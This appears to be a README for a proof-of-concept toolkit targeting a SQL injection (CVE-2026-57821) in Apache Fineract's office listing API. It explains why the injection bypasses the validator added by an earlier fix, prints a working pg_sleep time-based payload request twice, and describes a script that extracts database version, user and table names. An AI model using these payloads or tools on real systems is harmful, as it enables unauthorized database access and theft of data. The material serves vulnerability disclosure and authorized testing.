🛡️ CVE-2026-57821 – Apache Fineract SQL Injection

⚠️ LEGAL & ETHICAL NOTICE
This toolkit is provided strictly for educational, training, and authorized security testing purposes.
Unauthorized use against any system without explicit written permission is illegal and violates computer crime laws.
The author assumes zero liability for misuse or damage.
You are solely responsible for your actions.

📋 Vulnerability Overview

CVE-2026-57821 is a SQL Injection vulnerability discovered in Apache Fineract's office listing API endpoint.

🎯 Affected Component

🧠 How It Works

The vulnerability exists because the orderBy parameter is directly embedded into SQL queries without proper sanitization. An attacker with valid credentials can inject subqueries wrapped in parentheses () into the orderBy parameter.

Why this bypasses previous fixes:

• CVE-2024-32838 introduced a ColumnValidator to sanitize ORDER BY clauses
• The validator fails to detect bare subqueries inside parentheses
• This allows arbitrary SQL execution within the ORDER BY context

Example Attack Vector:

GET /api/v1/offices?orderBy=(SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)&limit=1

⚡ Potential Impact

👤 Discovery & Disclosure

🗄️ Supported Database Systems

This toolkit automatically detects and adapts exploitation techniques for 11 different database backends:

🛠️ Toolkit Components

This project provides two Python scripts for different security assessment scenarios:

📊 verifier.py – Safe & Minimal Verification Tool

Purpose: Quickly prove vulnerability existence without extracting data.

What it does:

• Sends database‑specific test payloads
• Detects time delays or error messages
• Reports VULNERABLE or NOT VULNERABLE for each database type
• Does NOT exfiltrate any data

✅ Advantages:

• Extremely fast (completes in seconds)
• Low legal risk (only validates presence)
• Ideal for initial security scanning
• Report‑friendly output for compliance

📋 Use Case: First‑pass assessment to determine if the target is vulnerable.

🔬 exploit.py – Comprehensive Security Analyzer

Purpose: Fully exercise the vulnerability to extract database information.

What it does:

• Automatically detects database type
• Uses binary search to extract character by character
• Retrieves: version, current user, database name, table list (configurable)
• MSSQL: error‑based extraction
• Others: time‑based extraction with baseline calibration

✅ Advantages:

• Provides concrete evidence of impact
• Demonstrates full extent of the vulnerability
• Detailed logging with color‑coded output

📋 Use Case: In‑depth security analysis after vulnerability confirmation.

🔍 Key Difference: verifierPoC.py tells you if it's vulnerable; exploit.py shows you what can be extracted. Both serve distinct but complementary roles in a security assessment workflow.

⚙️ Installation & Configuration

Prerequisites

• Python 3.6+
• requests library

pip install requests

⚙️ Configuration Variables

Edit the following variables at the top of both scripts:

🚀 Usage Guide

1️⃣ exploit.py - Deep Scan

python3 exploit.py

Expected Output:

CVE-2026-57821 - Apache Fineract Vulnerability Verifier
══════════════════════════════════════════════════════════════════════════════════════
@tc4dy is here :) Good Luck!

CONNECTION SUCCESS
BASELINE: 0.234s
STARTING VULNERABILITY VERIFICATION
VERIFICATION RESULTS
PostgreSQL: VULNERABLE
MySQL: NOT VULNERABLE
MariaDB: NOT VULNERABLE
Oracle: NOT VULNERABLE
MSSQL: NOT VULNERABLE
CONCLUSION: TARGET IS VULNERABLE (CVE-2026-57821 CONFIRMED)

Interpretation: If VULNERABLE appears for any database type, the target is affected.

🎯 Technical Specifications

CVSS Score Metric Value CVSS v3.1 Base Score 8.1 (High) Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H Attack Vector Network Privileges Required Low User Interaction None EPSS Score

0.29% (probability of exploitation within 30 days)

CWE Mapping

CWE‑89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

🧪 Technical Deep‑Dive

Why the Payload Works

The vulnerable code in Apache Fineract 1.14.0:

// Simplified vulnerable logic
String orderBy = request.getParameter("orderBy");
if (ColumnValidator.isValid(orderBy)) {
    // VALIDATOR FAILS FOR: "(SELECT ...)"
    // Only checks against simple column names
    String sql = "SELECT * FROM offices ORDER BY " + orderBy;
    // Executes query with user input directly
}

Attacker Payload Example:

GET /api/v1/offices?orderBy=(SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)&limit=1

Resulting SQL:

SELECT * FROM offices ORDER BY (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)

The ColumnValidator checks for column names but misses the nested subquery, allowing arbitrary SQL execution.

🛡️ Mitigation